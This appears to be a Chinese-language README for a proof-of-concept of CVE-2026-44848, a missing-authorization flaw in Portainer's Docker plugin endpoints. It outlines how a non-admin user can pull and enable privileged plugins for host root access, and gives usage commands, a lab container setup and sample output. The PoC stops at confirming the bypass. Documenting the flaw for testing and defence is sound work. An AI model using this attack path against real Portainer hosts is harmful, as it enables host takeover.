CVE-2026-44848 的概念验证(PoC),这是 Portainer 中的一个缺失身份验证(CWE-862)漏洞,允许拥有 Docker 端点访问权限的非管理员用户执行特权 Docker 插件操作 → 完整的主机 RCE。
GitHub 安全公告:GHSA-rrmm-9v76-h3p4 · CVSS 9.4(严重)。
Portainer 通过按资源处理器代理请求并执行授权检查,在 Docker API 之上实施基于角色的访问控制(RBAC)。Docker 插件管理端点(/plugins/*)未注册处理器,因此授权层永远不会对它们运行。结果,标准用户(角色 2)——或任何被授予端点级访问权限的角色——都可以直接对底层 Docker 守护进程调用特权插件操作:
POST /plugins/pull — 从任何注册表拉取任意插件CAP_SYS_ADMIN 和主机路径挂载POST /plugins/{name}/enable — Docker 以这些能力在主机上以 root 身份运行插件 → 完全访问主机文件系统,等同于 Docker 主机上的 root>= 2.33.0, < 2.33.8>= 2.39.0, < 2.39.2>= 2.40.0, < 2.41.0该漏洞的核心、可安全复现的原始基元:标准(非管理员)用户无需授权即可通过 Portainer 的代理访问特权 /plugins/* Docker API。 它针对真实的易受攻击 Portainer 实例端到端地演示了这一点:
POST /api/users/admin/init 引导管理员(容忍 409 并回退到登录)。bob,角色 2),通过重置其密码来容忍 409。POST /api/endpoints 自动创建本地套接字端点),并通过 PUT /api/endpoints/{id} UserAccessPolicies 授予 bob 访问权限。bob(非管理员用户)身份登录,并使用 bob 的令牌调用 GET /api/endpoints/1/docker/plugins。# Defaults: https://localhost:9444, random admin password
python3 portainer_plugin_poc.py
# Explicit target + admin password + command
python3 portainer_plugin_poc.py --url https://localhost:9444 --admin-pass 'P@ssw0rd!' --command "id; hostname"
# Write a JSON summary
python3 portainer_plugin_poc.py --url https://localhost:9444 --output out.json
python3 portainer_plugin_poc.py --help
仅需 Python 3 标准库。TLS 验证已禁用(自签名实验证书)。
docker run -d --name portainer-lab-cve44848 \
-p 127.0.0.1:9444:9443 \
-v /var/run/docker.sock:/var/run/docker.sock \
portainer/portainer-ce:2.39.1 # vulnerable
AUTH-BYPASS CONFIRMED: standard user reached /plugins (HTTP 200)
=> PASS (missing auth / host-RCE primitive confirmed)
仅供授权的安全研究和测试使用。启用步骤(POST /plugins/*)可能授予主机上的 root 权限;本 PoC 仅止步于演示授权绕过,不会启用破坏性/恶意插件。仅可对您拥有或获授权测试的系统使用。